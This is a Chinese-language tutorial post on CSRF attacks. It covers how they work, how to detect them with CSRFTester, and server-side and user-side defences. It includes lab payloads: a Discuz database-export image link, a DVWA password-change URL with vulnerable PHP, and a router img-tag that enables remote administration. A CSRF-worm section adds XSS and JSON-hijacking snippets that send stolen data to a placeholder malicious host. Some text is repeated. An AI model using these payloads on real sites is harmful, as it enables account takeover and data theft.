CSRF 攻擊
阿新 • • 發佈：2020-07-28
CSRF
CSRF 是 Web 應用程式的一種常見漏洞，其攻擊特性是危害性大但非常隱蔽，尤其是在 大量 Web 2.0 技術的應用背景下，攻擊者完全可以在使用者毫無察覺的情況下發起 CSRF 攻擊。 本文將對其基本特性、攻擊原理、攻擊分類、檢測方法及防範手段做一個系統的闡述，並列 舉攻擊例項。
1.1.1 CSRF漏洞簡介
CSRF(Cross-Site Request Forgery，跨站點偽造請求)是一種網路攻擊方式，該攻擊 可以在受害者毫不知情的情況下以受害者名義偽造請求傳送給受攻擊站點，從而在未授權的 情況下執行在許可權保護之下的操作，具有很大的危害性。具體來講，可以這樣理解 CSRF 攻 擊:攻擊者盜用了你的身份，以你的名義傳送惡意請求，對伺服器來說這個請求是完全合法 的，但是卻完成了攻擊者所期望的一個操作，比如以你的名義傳送郵件、發訊息，盜取你的 賬號，新增系統管理員，甚至於購買商品、虛擬貨幣轉賬等。 CSRF 攻擊方式並不為大家所熟知，實際上很多網站都存在 CSRF 的安全漏洞。早在 2000 年，CSRF 這種攻擊方式已經由國外的安全人員提出，但在國內，直到 2006 年才開始被關注。 2008 年，國內外多個大型社群和互動網站先後爆出 CSRF 漏洞，如:百度 HI、NYTimes.com (紐約時報)、Metafilter(一個大型的 BLOG 網站)和 YouTube 等。但直到現在，網際網路上 的許多站點仍對此毫無防備，以至於安全業界稱 CSRF 為“沉睡的巨人”，其威脅程度由此“美 譽”便可見一斑。
1.1.2 CSRF攻擊原理及例項
當我們開啟網站或者登陸某個網站後，就會產生一個會話(這裡指使用者登陸後)，這個會 話可能是 SESSION，Cookie 控制，但是這是無關緊要的。唯一的重點是瀏覽器與伺服器之間 是在會話之中，在這個會話沒有結束時候，你可以利用你的許可權對網站進行操作，如進行發 表文章，發郵件，刪除文章等操作。當這個會話結束後，你在進行某些操作時候 Web 應用程 序通常會來提醒你，您的會話已過期，或者是請重新登陸等提示。 當我們開啟網站或者登陸某個網站後，就會產生一個會話(這裡指使用者登陸後)，這個會 話可能是 SESSION，Cookie 控制，但是這是無關緊要的。唯一的重點是瀏覽器與伺服器之間 是在會話之中，在這個會話沒有結束時候，你可以利用你的許可權對網站進行操作，如進行發 表文章，發郵件，刪除文章等操作。當這個會話結束後，你在進行某些操作時候 Web 應用程 序通常會來提醒你，您的會話已過期，或者是請重新登陸等提示。 而 CSRF 攻擊則是建立會話之上的攻擊。比如當你登陸了網上銀行，正在進行轉賬業務， 這時你的某個 QQ 好友(攻擊者)發來一條訊息(URL)，這條訊息是攻擊者精心構造的轉賬業 www.oldboyedu.com 務程式碼。而且與你所登入的網站是同一個銀行，你可能認為這個網站是安全的，並不是什麼 釣魚網站之類的，然後打開了這條 URL，那麼你的賬戶的錢可能就在你的這一次小小點選上 全部丟失。 怎麼可能這麼神奇呢?其實這並不神奇。主要是因為你的瀏覽器正處於與此網站的會話 之中，那麼一些操作都是合法的，而入侵者構造的這段程式碼只不過是正常的轉賬操作程式碼而 已。比如說你想給使用者 spisec 轉賬 1000 元，那麼點選提交按鈕之後，可能會發送以下請求: http://www.taobao.com/pay.jsp?user=spisec&money=1000 而攻擊者僅僅是改變一下 user 引數與 money 引數即可完成一次“合法”的攻擊，如: http://www.taobao.com/pay.jsp?user=hack&money=10000 當你訪問了這條 URL 之後，就會自動向 hack 這個賬戶裡面轉入 10000 元。而這是你親 手造成的，並沒因為有人去破解你的密碼或者是 Web 伺服器被入侵所導致的你的金錢丟失。 下面以 CSRF 攻擊原理圖給大家形象總結:  1. 使用者 C 開啟瀏覽器，訪問受信任網站 A，輸入使用者名稱和密碼請求登入網站 A; 2.在使用者資訊通過驗證後，網站 A 產生 Cookie 資訊並返回給瀏覽器，此時使用者登入網 站 A 成功，可以正常傳送請求到網站 A; 3. 使用者未退出網站 A 之前，在同一瀏覽器中，開啟一個 TAB 頁訪問網站 B; 4. 網站 B 接收到使用者請求後，返回一些攻擊性程式碼，併發出一個請求要求訪問第三方 站點 A; 5. 瀏覽器在接收到這些攻擊性程式碼後，根據網站 B 的請求，在使用者不知情的情況下攜 帶 Cookie 資訊，向網站 A 發出請求。網站 A 並不知道該請求其實是由 B 發起的，所以會根 據使用者 C 的 Cookie 資訊以 C 的許可權處理該請求，導致來自網站 B 的惡意程式碼被執行。 通過以上的攻擊原理描述個人總結 CSRF 兩個側重點: 1、CSRF 的攻擊建立在瀏覽器與 Web 伺服器的會話之中。 2、欺騙使用者訪問 URL
1.1.3 CSRF攻擊分類
CSRF 漏洞一般分為站外和站內兩種型別。 CSRF 站外型別的漏洞本質上就是傳統意義上的外部提交資料問題。通常程式設計師會考慮 給一些留言或者評論的表單加上水印以防止 SPAM 問題(這裡，SPAM 可以簡單的理解為垃圾 留言、垃圾評論，或者是帶有站外連結的惡意回覆)，但是有時為了提高使用者的體驗性，可 能沒有對一些操作做任何限制，所以攻擊者可以事先預測並設定請求的引數，在站外的 Web 頁面裡編寫指令碼偽造檔案請求，或者和自動提交的表單一起使用來實現 GET、POST 請求，當 使用者在會話狀態下點選連結訪問站外 Web 頁面，客戶端就被強迫發起請求。 CSRF 站內型別的漏洞在一定程度上是由於程式設計師濫用$_REQUEST 類變數造成的。在一些 敏感的操作中(如修改密碼、新增使用者等)，本來要求使用者從表單提交發起 POST 請求傳遞參 數給程式，但是由於使用了$_REQUEST 等變數，程式除支援接收 POST 請求傳遞的引數外也 支援接收 GET 請求傳遞的引數，這樣就會為攻擊者使用 CSRF 攻擊創造條件。一般攻擊者只 要把預測的請求引數放在站內一個貼子或者留言的圖片連結裡，受害者瀏覽了這樣的頁面就 會被強迫發起這些請求。
1.1.4 CSRF 漏洞檢測
檢測 CSRF 漏洞是一項比較繁瑣的工作，最簡單的方法就是抓取一個正常請求的資料包， 去掉 Referer 欄位後再重新提交，如果該提交還有效，那麼基本上可以確定存在 CSRF 漏洞。 隨著對 CSRF 漏洞研究的不斷深入，不斷湧現出一些專門針對 CSRF 漏洞進行檢測的工具，如 CSRFTester，CSRF Request Builder 等。以 CSRFTester 工具為例，CSRF 漏洞檢測工具的測 試原理如下:使用 CSRFTester 進行測試時，首先需要抓取我們在瀏覽器中訪問過的所有鏈 接以及所有的表單等資訊，然後通過在 CSRFTester 中修改相應的表單等資訊，重新提交， 這相當於一次偽造客戶端請求。如果修改後的測試請求成功被網站伺服器接受，則說明存在 CSRF 漏洞，當然此款工具也可以被用來進行 CSRF 攻擊。
1.1.5 CSRF 例項
1.1.5.1 CSRF 快速拖庫案例
‘拖庫’本來是資料庫領域的術語，指從資料庫中匯出資料。到了黑客攻擊氾濫的今天， 它被用來指網站遭到入侵後，黑客竊取其資料庫。
網站資料庫被拖，直接導致使用者資訊洩露，造成的危害很大，比如:CSDN 明文密碼洩 露事件、小米 800W 使用者資訊洩露事件等等。他所造成的危害極高，直接影響網站使用者資料 (包括金錢、個人資訊等)
首先，我們先登入一下 discuz 的後臺，模擬管理員進行週期性的資料庫備份。如圖
備份完之後的資料庫備份
也就是在 http://127.0.0.1/upload/uc_server/data/backup/backup_150204_hsEI77/ 這個目錄下 150204_5CcUZd-1.sql 檔案。 然後，我們將資料庫備份刪除掉。現在，backup 這個目錄下沒有任何備份。
其次我們換個瀏覽器，註冊一個新普通使用者,如:
接著，我們模擬正常使用者發帖
注意: 發帖時，一定要新增一個網路圖片，連結設定為: http://192.168.1.55:8080/dzcsrt/uc_server/admin.php?m=db&a=operate&t=export&app id=0&backupdir=xxxx%26backupfilename%3Daaaa
我們再使用原來有管理員登陸的瀏覽器訪問這個帖子(在訪問論壇這個帖子之前，重新整理 一下後臺頁面，保證沒有因為長時間未操作而引起登陸會話超時造成實驗失敗)。
訪問之後，我們只看到了一張沒有正常顯示的圖片，並沒有其他的問題。 我們之前在 模擬管理員進行資料庫備份的時候，已經把備份好的資料拷走並刪除掉，backup 這個檔案 夾裡面是空的。現在讓我們來看一下這個資料夾，是不是像圖 7 裡面一樣呢?
最後，我們可以訪問這個連結，將我們拖下來的資料庫下載到本地。
案例總結分析:
開啟 chrome 瀏覽器，然後按一下鍵盤上的 F12，然後訪問那張圖片的連結，接著點選 network 這個按鈕，然後我們可以找到這張的請求。
1、網頁載入圖片的 URL，前面已經說過，就是管理員在資料備份時所訪問的 URL，由於不是 正常的圖片格式，所以不能正常解析。
2、雖然圖片不能正常解析，但是瀏覽器還是回去訪問一下這個 URL，由於當前賬戶是管理 員，有資料庫備份的操作許可權，且資料在傳輸到服務端，服務端根據請求的 URL、引數、動 作進行了處理，從而造成了資料庫被拖。
3、很明顯，攻擊者在我們不知情的情況下盜用了我們的身份，來完成他們想要做的事情。
1.1.5.2 CSRF 修改密碼案例
訪問 DVWA 如下地址就可以直接修改密碼:
http://192.168.1.55:8080/dvwa/vulnerabilities/csrf/?password_new=123&passwo rd_conf=123&Change=Change
通過以上鍊接地址在不關閉此瀏覽器選項卡的情況下，開啟新視窗頁面(保持 cookie 可 用)，就可以完成密碼修改。
漏洞程式碼如下:
<?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if (($pass_new == $pass_conf))
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() .'</pre>' );
echo "<pre> Password Changed </pre>";
mysql_close();
}
else{ echo "<pre> Passwords did not match. </pre>";
}
}
?>
漏洞程式碼分析:
沒有判斷原來的密碼，直接兩次輸入的密碼相同就修改原來的密碼，這不是今天的重點， 避免 CSRF 是不是應該判斷下請求的來源。接下來看 Referer 判斷請求來源下面這段程式碼:
<?php
if (isset($_GET['Change'])) {
// Checks the http referer header
if ( eregi ( "127.0.0.1", $_SERVER['HTTP_REFERER'] ) ){
// Turn requests into variables
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
if ($pass_new == $pass_conf){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' .mysql_error() . '</pre>' );
$html .= "<pre> Password Changed </pre>";
mysql_close();
}
else{
$html .= "<pre> Passwords did not match.</pre>";
}
}
}
?>
這裡開始判斷請求來源了，也就是$_SERVER['HTTP_REFERER'] ，eregi 是判斷是否存在某 字元的函式如果存在 127.0.0.1 就執行下面的:
下面我們來看看 DVWA 是如何防範 CSRF 修改密碼:
<?php
if (isset($_GET['Change'])) {
// Turn requests into variables
$pass_curr = $_GET['password_current'];
$pass_new = $_GET['password_new'];
$pass_conf = $_GET['password_conf'];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$qry = "SELECT password FROM `users` WHERE user='admin' AND password='$pass_curr';";
$result = mysql_query($qry) or die('<pre>' . mysql_error() .'</pre>' );
if (($pass_new == $pass_conf) && ( $result && mysql_num_rows( $result ) == 1 )){
$pass_new = mysql_real_escape_string($pass_new);
$pass_new = md5($pass_new);
$insert="UPDATE `users` SET password = '$pass_new' WHERE user = 'admin';";
$result=mysql_query($insert) or die('<pre>' . mysql_error() . '</pre>' );
$html .= "<pre> Password Changed </pre>";
mysql_close();
}
else {
$html .= "<pre> Passwords did not match or current password incorrect. </pre>";
}
}
?>
直接判斷舊密碼是否正確了,這樣在不知使用者原有密碼的情況下，不管是否存在 CSRF， 你都是無效的。
1.1.5.3 本地網路裝置 CSRF 攻擊
在登入狀態，被攻擊者訪問了帶有 CSRF 攻擊程式碼的網頁時，就“被迫”開啟了“遠 程 WEB 管理”功能。
CSRF 攻擊程式碼如下:
<img src=http://192.168.1.1/userRpm/ManageControlRpm.htm?port=80&ip=255.255.255.255&Save= %B1%A3+%B4%E6>
使用 GET 方式發起的 CSRF 攻擊,通過社工等手法讓被攻擊者訪問惡意站點的 CSRF 檔案。
FAST 無線寬頻路由器的 WEB 管理的預設使用者名稱與密碼:admin。
1.1.5.4 CSRF 無需瀏覽器案例
1.1.5.5 CSRF 半自動化測試工具案例
OWASP CSRFTester 是 OWASP 推出的 CSRF 半自動化軟體，他省去了 CSRF 最繁瑣的過程， 程式碼構造。下面是軟體的截圖
這款軟體是由 java 編寫的，所以在執行軟體之前需要事先安裝 java 環境，cmd 視窗是 告訴我們此時軟體正在監聽 8008 埠。軟體的大致介紹就到這，後文我將進一步的說明。
這裡我選擇了“XYCMS 中心小學建站系統”
我想細心的人已經發現了。他只要求你輸入賬號 密碼 確認密碼。沒有發現驗證碼驗證。 我們在瀏覽器裡代理下 8008 埠(雖然網站是 809 埠，但是還是可以監聽到資料，所以不 必在意網站是 809，軟體監聽的是 8008 的問題。因為在瀏覽器裡任何資料都必須要經過 8008，網站雖說是 809 埠，但是資料還要轉到 8008 埠)。然後用軟體看下有沒有 token 的存在 (你也可以用 burp、fiddler 等等)。
點選開始
點選提交資料後，軟體就會抓到資料包了。
抓到資料包之後對當前資料包儲存，記得把無用的資訊刪除掉:
我們發現並沒有找到 token 的值，那麼我們就可以來實現 CSRF 攻擊了。
看到下面的 Report Type 了麼。這些是讓你選擇用什麼方法來進行攻擊。
Forms:建立一個 form 表單。內容為 hidden(隱藏)，使用者不可見(可 POST、GET)
iFrame:建立一個 iframe 框架，高寬為 0，使用者不可見。(可 POST、GET)
IMG:建立一個 IMG 標籤(只能 GET)。
XHR:建立一個 AJAX 請求(可 POST、GET)
Link:建立一個 a 標籤的超連結(只能 GET)
OK，介紹完了。但是呢，這五個裡，我只推薦第一個。原因有下:
第二個容易找不到物件(如果你是新手，對 JavaScript 不熟的話，不建議選擇這個)
第三個只能傳送 GET 請求，有限制。
第四個有跨域限制，有的瀏覽器不允許傳送跨域請求，除非網站有設定。
第五個需要點選才能觸發(當然可以修改為自動觸發)，還有一個是他也只能傳送 GET 請求。
Ok，我這時選擇 forms 選項，他會生成一個 HTML 檔案，而且會自動開啟，如果不成功 不要灰心，這個軟體不是特別的完整，有些地方需要改進。不成功的話就開啟 HTML 改下源 碼，參照瀏覽器的審查元素就行。
點選 Generate HTML 來生成，生成好後，把生成的 index.html 放到網站目錄下。誘使管 理員開啟，管理員開啟後，將會是這樣:
成功了，我們在後臺看下。
可以看到成功添加了。
我們可以把這個 index.html 放到自己伺服器上，又是管理員開啟，然後了管理員當時正 在後臺，或則管理員的 session 沒有過期，你可以在網站留言板裡吧網址寫上去。就可以完 成 CSRF 攻擊了。
下面給大家講解一下 burp 自帶的 csrf 工具，我個人認為比 CSRFtester 更方便，如下圖:
1.1.6 CSRF 蠕蟲模型
注:
同域內 CSRF 攻擊獲取資料幾乎沒任何限制。
跨域 CSRF 攻擊獲取資料的幾種方法總結如下:
1、XSS
2、服務端代理技術
3、JSON Hijacing
4、Flash AsctionScript(crossdomain.xml) 要獲取的關鍵資料是唯一標識: 使用者 id、使用者暱稱、使用者 email、使用者個人頁面地址等。
一、XSS 獲取資料
使用目標站點上的 XSS 漏洞:
<iframe width=0 height=0 src=‘http://目標站點/search.php?k=“><script src=http://惡意站點 /get.js></script>’></iframe>
http://惡意站點/get.js 的程式碼是:
//use DOM method to get your data
new Image(). src=‘http://惡意站點/do.php?data=‘+yourdata;
惡意站點的 do.php 檔案接收唯一標識等資料。該唯一標識可以是 url 中的或是目標站點 url 對應的內容中的。
二、使用 JSON Hijacking
使用 JSON Hijacking 技術:
目標站點使用了 JSON 資料傳輸使用者私有資料。
該私有資料內包含我們需要的唯一標識等資訊。
相關程式碼:
<script>
function hijack(o){
//use DOM method to get your data
new Image().src="http://192.168.1.2/JSONHiJack.asp?hi="+escape(data); }
</script>
<script src=http://api.fanfou.com/private_messages/inbox.json?callback=hijack&count=2></script>
三、使用 FLASH
使用 Flash ActionScript 指令碼:
目標站點下必須存在 crossdomain.xml 檔案,crossdomain.xml 中的配置允許其他域的 AS 指令碼進行跨域請求。
<?xml version="1.0"?>
<cross-domain-policy>
<allow-access-from domain="*" />
</cross-domain-policy>
相關程式碼:
import flash.net.*;
var _l = new URLLoader(new URLRequest(“http://目標站點/"));
_l.addEventListener(Event.COMPLETE,function(){text1.text = _l.data});
_l.load();
1.1.7 CSRF漏洞防禦
CSRF 漏洞防禦主要可以從三個層面進行，即服務端的防禦、使用者端的防禦和安全裝置 的防禦。
1.1.7.1 服務端的防禦
目前業界伺服器端防禦 CSRF 攻擊主要有 5 種策略:
驗證 HTTP Referer 欄位，
在請求地 址中新增 token 並驗證，
在 HTTP 頭中自定義屬性並驗證等。
下面分別對 5 種策略進行簡要 介紹。
1.1.7.1.1 驗證 HTTP Referer 欄位
根據 HTTP 協議，在 HTTP 頭中有一個欄位叫 Referer，它記錄了該 HTTP 請求的來源地 址。在通常情況下，訪問一個安全受限頁面的請求必須來自於同一個網站。比如某銀行的轉 賬是通過使用者訪問 http://bank.test/test?page=10&userID=101&money=10000 頁面完成，使用者 必須先登入 bank. test，然後通過點選頁面上的按鈕來觸發轉賬事件。當用戶提交請求時， 該轉賬請求的 Referer 值就會是轉賬按鈕所在頁面的 URL(本例中，通常是以 bank. test 域名開頭的地址)。而如果攻擊者要對銀行網站實施 CSRF 攻擊，他只能在自己的網站構造請求， 當用戶通過攻擊者的網站傳送請求到銀行時，該請求的 Referer 是指向攻擊者的網站。因此， 要防禦 CSRF 攻擊，銀行網站只需要對於每一個轉賬請求驗證其 Referer 值，如果是以 bank. test 開頭的域名，則說明該請求是來自銀行網站自己的請求，是合法的。如果 Referer 是其 他網站的話，就有可能是 CSRF 攻擊，則拒絕該請求。
1.1.7.1.2 在請求地址中新增 token 並驗證
CSRF 攻擊之所以能夠成功，是因為攻擊者可以偽造使用者的請求，該請求中所有的使用者 驗證資訊都存在於 Cookie 中，因此攻擊者可以在不知道這些驗證資訊的情況下直接利用用 戶自己的 Cookie 來通過安全驗證。由此可知，抵禦 CSRF 攻擊的關鍵在於:在請求中放入攻 擊者所不能偽造的資訊，並且該資訊不存在於 Cookie 之中。鑑於此，系統開發者可以在 HTTP 請求中以引數的形式加入一個隨機產生的 token，並在伺服器端建立一個攔截器來驗證這個 token，如果請求中沒有 token 或者 token 內容不正確，則認為可能是 CSRF 攻擊而拒絕該請 求。
1.1.7.1.3 在 HTTP 頭中自定義屬性並驗證
自定義屬性的方法也是使用 token 並進行驗證，和前一種方法不同的是，這裡並不是把 token 以引數的形式置於 HTTP 請求之中，而是把它放到 HTTP 頭中自定義的屬性裡。通過 XMLHttpRequest 這個類，可以一次性給所有該類請求加上 csrftoken 這個 HTTP 頭屬性，並把 token 值放入其中。這樣解決了前一種方法在請求中加入 token 的不便，同時，通過這個類 請求的地址不會被記錄到瀏覽器的位址列，也不用擔心 token 會通過 Referer 洩露到其他網 站。
1.1.7.1.4 在服務端區嚴格區分好POST與GET的資料請求
如在 asp 中不要使用 Request 來直接獲取資料。同時建議不要用 GET 請求來執行持久 性操作，如: http://www.yeeyan.com/space/deleteEvent/16824。
1.1.7.1.5 使用驗證碼或者密碼確認方式進行
這種方法很有效，但是使用者體驗就差了些。
1.1.7.2 使用者端的防禦
對於普通使用者來說，都學習並具備網路安全知識以防禦網絡攻擊是不現實的。但若使用者 養成良好的上網習慣，則能夠很大程度上減少 CSRF 攻擊的危害。例如，使用者上網時，不要 輕易點選網路論壇、聊天室、即時通訊工具或電子郵件中出現的連結或者圖片;及時退出長 時間不使用的已登入賬戶，尤其是系統管理員，應儘量在登出系統的情況下點選未知連結和 圖片。除此之外，使用者還需要在連線網際網路的計算機上安裝合適的安全防護軟體，並及時更 新軟體廠商釋出的特徵庫，以保持安全軟體對最新攻擊的實時跟蹤。
1.1.7.3 安全裝置的防禦
由於從漏洞的發現到補丁的釋出需要一定的時間，而且相當比例的廠商對漏洞反應不 積極，再加之部分系統管理員對系統補丁的不夠重視，這些都給了攻擊者可乘之機。鑑於上 述各種情況，使用者可以藉助第三方的專業安全裝置加強對 CSRF 漏洞的防禦。 CSRF 攻擊的本質是攻擊者偽造了合法的身份，對系統進行訪問。如果能夠識別出訪問 者的偽造身份，也就能識別 CSRF 攻擊。研究發現，有些廠商的安全產品能基於硬體層面對 HTTP 頭部的 Referer 欄位內容進行檢查來快速準確的識別 CSRF 攻擊。圖 11 展示了這種防禦 方式的簡圖。目前 H3C 公司的 IPS 產品採用了特殊技術，支援對部分常用系統的 CSRF 漏洞 攻擊進行檢測和阻斷。